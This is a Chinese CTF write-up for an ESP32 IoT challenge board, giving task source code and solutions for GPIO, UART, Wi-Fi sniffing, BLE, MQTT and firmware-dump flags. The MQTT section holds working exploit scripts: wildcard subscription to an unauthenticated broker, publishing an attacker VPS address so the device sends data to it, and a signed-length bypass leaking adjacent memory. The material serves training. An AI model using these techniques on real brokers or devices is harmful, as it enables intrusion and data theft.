ESP32 IoT CTF 清华校赛版 Write Up

一个以ESP32为底座的新手向CTF IoT赛题,包括基本的硬件操作,串口调试,网络通信,WIFI,蓝牙,MQTT,固件提取等,总共13个flag。其实就是我们仨这几年学到的一些经验,以及海特西湖论剑那张板子上的部分思路。具体玩法为:通过USB线连接ESP32开发板,通过串口工具即可看到题目信息的相关输出,并通过各种有线无线的方式与ESP32交互获取flag。解题的总体思路是通过对隐去flag的源码分析应该如何获取flag。并且在真实板子上的代码中,采用了AES动态解密真flag的方式,防止选手通过读取固件直接获得所有明文flag。另外在源码中为了清晰阅读,直接采用include c文件分离不同方向题目代码,省掉了头文件。淼哥对此赛题评价是:没有一点弯,纯训练。欢迎大家来玩~

题目源码

目录说明

目录 说明
thuctf ESP32项目本体
docker 未授权未认证的MQTT broker镜像
attachment 给选手的说明
test 测试脚本
wp 题目解析

编译方法

已验证的环境如下:

  • 工具版本:ESP-IDF v4.2.2-250-gf65845ef51-dirty、ESP-IDF v4.3.1
  • 板子型号:ESP32-WROOM-32D

首先按照官方文档在自己的开发环境上安装好IDF:https://github.com/espressif/esp-idf

➜  git clone https://github.com/xuanxuanblingbling/esp32ctf_thu.git
➜  cd esp32ctf_thu/thuctf/
➜  idf.py menuconfig 
➜  idf.py build 
➜  idf.py flash 

其中menuconfig设置:

Serial flasher config  --->  Flash size (4 MB) 
Partition Table        --->  Partition Table (Custom partition table CSV)

硬件题目

main/hardware.c

主要考察了对于GPIO、串口通信的理解以及操作,题目开启顺序:

task1 -> task2 -> task3

task1

  • 题目:将GPIO18抬高,持续3s即可获得flag
void hardware_task1(){
    int hit = 0;
    while(1) {
        printf("[+] hardware task I : hit %d\n",hit);
        if(gpio_get_level(GPIO_INPUT_IO_0)){
            hit ++ ;
        }else{
            hit = 0;
        }
        if(hit>3){
            printf("[+] hardware task I : %s\n",hardware_flag_1);
            break;
        }
        vTaskDelay(1000 / portTICK_RATE_MS);
    }
}
  • 解法:用杜邦线将GPIO18与3.3v或5v相接

image

[+] hardware task I : hit 1
[+] hardware task I : hit 2
[+] hardware task I : hit 3
[+] hardware task I : THUCTF{Ev3ryth1ng_st4rt_fr0m_GPIO_!!!}

task2

  • 题目:在GPIO18处构造出1w个上升沿
void hardware_task2(){
    trigger = 0;
    while(1){
        printf("[+] hardware task II : trigger %d\n",trigger);
        if(trigger > 10000){
            printf("[+] hardware task II : %s\n",hardware_flag_2);
            break;
        }
        vTaskDelay(1000 / portTICK_RATE_MS);
    }
}
  • 解法:用杜邦线将GPIO18与板子的TX相接,利用串口一直有数据输出,自动构造上升沿:

image

[+] hardware task II : trigger 9491
[+] hardware task II : trigger 9971
[+] hardware task II : trigger 10085
[+] hardware task II : THUCTF{AuT0++_is_th3_r1ght_w4y_hhhhhh}

task3

  • 题目:在另一个串口寻找第三个flag
#define ECHO_TEST_TXD  (GPIO_NUM_4)
#define ECHO_TEST_RXD  (GPIO_NUM_5)

void hardware_task3(){
    printf("[+] hardware task III : find the third flag in another UART\n");
    while (1) {
        uart_write_bytes(UART_NUM_1, hardware_flag_3, strlen(hardware_flag_3));
        vTaskDelay(1000 / portTICK_RATE_MS);
    }
}
  • 解法:分析代码,第二个串口的TX、RX分别为4、5号引脚,接到串口转换器,然后用串口工具查看即可(发的串口转换器芯片为CH340,Linux、OSX免驱,WIN10需要手动装驱动)

image

Xshell 7 (Build 0090)
Copyright (c) 2020 NetSarang Computer, Inc. All rights reserved.

Type `help' to learn how to use Xshell prompt.
[C:\~]$ 

Connecting to COM6...
Connected.

THUCTF{UART_15_v3ry_imp0r7ant_1n_i0T}

网络题目

main/network.c

主要考察对设备网络通信的使用,分析,捕获,题目开启顺序:

        -> task2 
task1 
        -> task3

task1

  • 题目:连接板子目标端口,尝试获得flag
char buffer[100];
while(recv(sock,buffer,0x10,0)){
    if(strstr(buffer,"getflag")){
        send(sock, network_flag_1, strlen(network_flag_1), 0);
        break;
    }else{
        send(sock, "error\n", strlen("error\n"), 0);
    }
    vTaskDelay(1000 / portTICK_RATE_MS);
}
  • 解法:首先要按照板子要求构造出wifi热点,然后连接板子的3333端口并发送getflag即可
[+] network task I: I will connect a wifi -> ssid: fmnlso , password glttosvt 
I (88071) esp_netif_handlers: sta ip: 192.168.43.19, mask: 255.255.255.0, gw: 192.168.43.1
I (88071) wifi connect: got ip:192.168.43.19
I (88071) wifi connect: connected to ap SSID:fmnlso password:glttosvt
I (88081) network: Socket created
I (88081) network: Socket bound, port 3333
I (88091) network: Socket listening
$ nc 192.168.43.19 3333
getflag
THUCTF{M4k3_A_w1rele55_h0t5p0ts}

task2

  • 题目:你知道他发给百度的flag么

此部分代码不完善,可能会因死循环爆栈导致重启,请见谅…

while(1) {
    if(open_next_tasks){
        printf("[+] network task II : send the second flag to baidu\n");
        getaddrinfo("www.baidu.com", "80", &hints, &res);
        addr = &((struct sockaddr_in *)res->ai_addr)->sin_addr;
        ESP_LOGI("network", "DNS lookup succeeded. IP=%s", inet_ntoa(*addr));
        s = socket(res->ai_family, res->ai_socktype, 0);
        connect(s, res->ai_addr, res->ai_addrlen);
        freeaddrinfo(res);
        write(s, request, strlen(request));
        close(s);
    }
    vTaskDelay(10000 / portTICK_PERIOD_MS);
}
  • 解法:通信干路抓包,如果用手机构造热点不方便抓包,故用win或者mac的网络共享开启热点,然后对共享网络的网卡抓包即可

image

THUCTF{Sn1ffer_N3tw0rk_TrAffic_In_7h4_Main_r0aD}

task3

  • 题目:flag在空中
static void network_wifi()
{
    static const char ds2ds_pdu[] = {
    0x48, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xE8, 0x65, 0xD4, 0xCB, 0x74, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0x60, 0x94, 0xE8, 0x65, 0xD4, 0xCB, 0x74, 0x1C, 0x26, 0xB9,
    0x0D, 0x02, 0x7D, 0x13, 0x00, 0x00, 0x01, 0xE8, 0x65, 0xD4, 0xCB, 0x74,
    0x1C, 0x00, 0x00, 0x26, 0xB9, 0x00, 0x00, 0x00, 0x00,
    };  

    char pdu[200]={0};
    memcpy(pdu,ds2ds_pdu,sizeof(ds2ds_pdu));
    memcpy(pdu+sizeof(ds2ds_pdu),network_flag_3,sizeof(network_flag_3));

    while(1) {
        if(open_next_tasks){
            printf("[+] network task III : send raw 802.11 package contains the third flag\n");
            esp_wifi_80211_tx(ESP_IF_WIFI_STA, pdu, sizeof(ds2ds_pdu)+sizeof(network_flag_3), true);
        }
        vTaskDelay(5000 / portTICK_PERIOD_MS);
    }
}
  • 解法:使用kali以及外置网卡抓802.11裸包,即可看到有flag的报文

image

➜  airmon-ng start wlan0 
➜  airodump-ng wlan0mon

image

如果是Mac电脑,则不需要外置网卡,可直接使用自带网卡抓包,首先确定目标wifi的信道:

➜  sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s

            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
        Huawei@123 7c:b5:9b:53:be:a8 -50  1,+1    Y  CN WPA(PSK/AES/AES) WPA2(PSK/AES/AES) 
            hegysa 12:c0:c9:62:70:de -33  1       Y  CN WPA2(PSK/AES/AES) 

然后抓取目标信道:

➜  sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff 1 
Capturing 802.11 frames on en0.

开启wireshark并将无线网卡设置成监控模式,然后即可抓取802.11的裸包:

image

THUCTF{Y0u_cAn_s3nd_4nd_sNiff3r_802.11_r4w_pAckag3}

蓝牙题目

main/bluetooth.c

主要考察对经典蓝牙,低功耗蓝牙的基本操作以及分析,题目开启顺序:

task1 -> task2 -> task3

相关工具使用方法参考:用 西湖论剑IoT闯关赛 蓝牙赛题 理解 蓝牙协议

task1

  • 题目:修改蓝牙名称并设置可被发现即可获得flag
void check_name(char * a,char * b){
    if(!strcmp(a,b)){
        printf("bluetooth task I : %s\n",bt_flag_1);
        esp_bt_gap_cancel_discovery();
        scan = 0;
        next_task();
    }
}
  • 解法:如题
[+] bluetooth task I : Please change your bluetooth device name to uunpyagw

I (43491) GAP: [+] bluetooth task I : Device found: a8:e5:44:3d:db:2e
I (43511) GAP: [+] bluetooth task I : Found a target device, address a8:e5:44:3d:db:2e, name uunpyagw

bluetooth task I : THUCTF{b1u3t00th_n4me_a1s0_c4n_b3_An_aTT4ck_surfAce}

task2

  • 题目:flag在空中
unsigned char data[100];
memcpy(data,fmt,sizeof(fmt));
memcpy(data+2,client_name,5);
memcpy(data+sizeof(fmt),bt_flag_2,sizeof(bt_flag_2));
esp_ble_gap_config_adv_data_raw(data,sizeof(fmt)+sizeof(bt_flag_2));
  • 解法:通过第一关后,板子会由经典蓝牙切换到低功耗蓝牙,flag就在BLE的广播报文中,使用手机软件nRF connect即可获得:
[+] bluetooth task II : BLE device name is jlprw
[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device jlprw

image

当然也可以在有蓝牙适配器的主机上使用blescan、bluescan等扫描到目标广播报文:

$ sudo blescan
Scanning for devices...
    Device (new): 94:3c:c6:cd:da:86 (public), -47 dBm 
	Complete Local Name: 'jsstg'
	0xfd: <5448554354467b416456443437617d>

$ sudo bluescan -m le
[WARNING] Before doing an active scan, make sure you spoof your BD_ADDR.
[INFO] LE active scanning on hci0 with timeout 10 sec


----------------LE Devices Scan Result----------------
Addr:        94:3C:C6:CD:DA:86 (Espressif Inc.)
Addr type:   public
Connectable: True
RSSI:        -45 dBm
General Access Profile:
    Complete Local Name: jsstg
    0xFD (Unknown): 5448554354467b416456443437617d

然后hex解码:

$ python3
Python 3.9.5 (default, May 11 2021, 08:20:37) 
[GCC 10.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes.fromhex('5448554354467b416456443437617d')
b'THUCTF{AdVD47a}'

task3

  • 题目:分析GATT业务并获得flag
if(!strncmp(bt_flag_2,(char *)param->write.value,param->write.len)){
    printf("[+] bluetooth task III : you can read the third flag this time\n");
    open_task3 = 1;
}
...
if(open_task3){
    rsp.attr_value.len = sizeof(bt_flag_3);
    memcpy(rsp.attr_value.value,bt_flag_3,sizeof(bt_flag_3));
  • 解法:连接此BLE,并对id为0xff01的characteristics写入task2的flag,再次读取即可获得flag

image

也可在主机上用pygatt解题,首先获得目标设备characteristics的uuid:

import pygatt

adapter = pygatt.GATTToolBackend()
adapter.start()
device = adapter.connect('94:3C:C6:CD:DA:86')

for uuid in device.discover_characteristics().keys():
    print("Read UUID %s" % (uuid))
$ python3 exp.py 
Read UUID 00002a05-0000-1000-8000-00805f9b34fb
Read UUID 00002a00-0000-1000-8000-00805f9b34fb
Read UUID 00002a01-0000-1000-8000-00805f9b34fb
Read UUID 00002aa6-0000-1000-8000-00805f9b34fb
Read UUID 0000ff01-0000-1000-8000-00805f9b34fb

然后直接读取会读到deadbeef,写入上一关flag后重新读取即可获得本关flag:

import pygatt

adapter = pygatt.GATTToolBackend()
adapter.start()
device = adapter.connect('94:3C:C6:CD:DA:86')

uuid = '0000ff01-0000-1000-8000-00805f9b34fb'

print(device.char_read(uuid))
device.char_write(uuid,b'THUCTF{AdVD47a}')
print(device.char_read(uuid))
$ python3 exp.py 
bytearray(b'\xde\xed\xbe\xef')
bytearray(b'THUCTF{WrItE_4_gA7T')

MQTT

main/mqtt.c

主要考察对MQTT协议存在的未授权未认证的弱点,以及空中跳跃的攻击模型,推荐阅读:

题目开启顺序:

task1 
task2 -> task3

拔掉跳冒以切换题目方向,可以看到日志:

[+] now task : MQTT

阅读给选手的源码,首先板子连接WIFI上网的密码是假的:

connect_wifi("THUCTFIOT","123454678");

这是为了防止选手连进WIFI直接做ARP等中间人的攻击方法直接获得到包含flag的通信流量,因为主要希望考察点是:即使是不在目标通信干路上,也能获得目标设备的MQTT通信内容,并且将恶意数据通过不安全的broker带向内网设备,这也是MQTT这种消息队列协议的特性。另外可以看到MQTT服务是连接到了一个域名上,是我花了一块钱买了一年的域名:

mqtt_app_start("mqtt://mqtt.esp32ctf.xyz");

这个域名对应的服务器上启了一个为未授权未认证的MQTT broker,也就是本项目中的那个docker,对于MQTT的收发包,推荐工具:MQTT.fx

task1

  • 题目:你知道MQTT的上帝是谁么
switch (event->event_id) {
    case MQTT_EVENT_CONNECTED:
        ESP_LOGI("mqtt", "MQTT_EVENT_CONNECTED");
        msg_id = esp_mqtt_client_publish(client, "/topic/flag1", mqtt_flag_1, 0, 1, 0);
        printf("[+] MQTT task I: publish successful, msg_id=%d\n", msg_id);
  • 解法:可以直接连接broker,井号为通配符,直接订阅所有主题,即可获得flag

image

image

另外也可以使用python来订阅MQTT服务,依赖安装:

  python3 -m pip install paho-mqtt
import paho.mqtt.client as mqtt

def on_message(client, userdata, msg):
    print(msg.topic+" , "+str(msg.payload))

client = mqtt.Client()
client.connect("mqtt.esp32ctf.xyz",1883,60)
client.on_message = on_message
client.subscribe("#")
client.loop_forever()
➜  python3 exp.py
/topic/flag1 , b'THUCTF{#_1s_God_in_MQTT}'
/topic/flag2/tdzloj , b'www.baidu.com?46'

task2

  • 题目:你能欺骗订阅者么
...
while(1){
        printf("[+] MQTT task II: I send second flag to baidu\n");
        esp_mqtt_client_publish(client, topic_2, "www.baidu.com?46", 0, 1, 0);
        vTaskDelay(10000 / portTICK_RATE_MS);
}
...
void mqtt_data_hander(int length,char * data){
    ...
    char tag3[] = " [+] MQTT task III: ";
    sprintf(flagdata,"%s%s%s",mqtt_flag_2,tag3,mqtt_flag_3);

    int a = 46;

    char * p = strnstr(data,"?",length);
    if(p){
        int data_length = p - data;
        snprintf(l,length - data_length,"%s",p+1);
        a = atoi(l);
        length = data_length;
    }

    sprintf(url,"%.*s",length, data);
  • 解法:向flag2目标主题发送自己VPS的IP即可

image

当然也可以使用python向目标topic发送消息:

import paho.mqtt.client as mqtt

client = mqtt.Client()
client.connect("mqtt.esp32ctf.xyz",1883,60)
client.publish("/topic/flag2/tdzloj","49.233.20.19")

即可在VPS上收到flag:

ubuntu@VM-16-6-ubuntu:~$ sudo nc -l -p 80
GET / HTTP/1.0
User-Agent: esp-idf/1.0 esp32
flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel} 

task3

  • 题目:这是个内存破坏的前戏
sprintf(url,"%.*s",length, data);

char fmt[] = "GET / HTTP/1.0\r\n"
                "User-Agent: esp-idf/1.0 esp32\r\n"
                "flag: %s\r\n"
                "\r\n";

if( a < (int)(sizeof(mqtt_flag_2) + sizeof(tag3) - 1 ) ){
    memcpy(out,flagdata,a & 0xff);
    sprintf(httpdata,fmt,out);
    http_get_task(url,httpdata);
}          
  • 解法:判断长度时有符号,使用时与上0xff,相当于无符号,故长度为-1即可绕过大小限制,带出位于flag2后的flag3

image

当然也可以直接在VPS上一个脚本搞定:

import paho.mqtt.client as mqtt
from pwn import *

io = listen(80)

client = mqtt.Client()
client.connect("mqtt.esp32ctf.xyz",1883,60)
client.publish("/topic/flag2/tdzloj","49.233.20.19?-1")

print(io.recv())                 

结果如下:

ubuntu@VM-16-6-ubuntu:~$ sudo python3 exp.py 
[+] Trying to bind to :: on port 80: Done
[+] Waiting for connections on :::80: Got connection from ::ffff:61.148.244.254 on port 64616
b'GET / HTTP/1.0\r\nUser-Agent: esp-idf/1.0 esp32\r\nflag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel} 
[+] MQTT task III: THUCTF{0ver_the_Air_y0u_c4n_a77ack_t0_1ntranet_d3v1ce}\r\n\r\n'
[*] Closed connection to ::ffff:61.148.244.254 port 64616

固件彩蛋

flag为main.c中的xTaskCreate创建任务的名字:

xTaskCreate(hardware, "THUCTF{DuMp_the_b1n_by_espt00l.py_Ju5t_1n_0ne_Lin3}", 2048, NULL, 10, NULL);

显然此任务名没有与任何题目接口有交互,所以只能采用固件读取的方式获得此flag,故使用esptools.py dump固件:

   python ~/Desktop/esp/esp-idf2/components/esptool_py/esptool/esptool.py \
    --baud 115200 --port /dev/tty.usbserial-14420 read_flash 0x10000 0x310000 dump.bin

windows上的IDF离线环境安装后,自动设置的环境变量中,也是可以直接用esptools.py的:

> esptool.py --baud 115200  read_flash 0x10000 0x310000 dump.bin

然后strings即可找出flag:

$ sudo apt install binutils
$ strings ./dump.bin  | grep "THUCTF{"
THUCTF{DuMp_the_b1n_by_espt00l.py_Ju5t_1n_0ne_Lin3}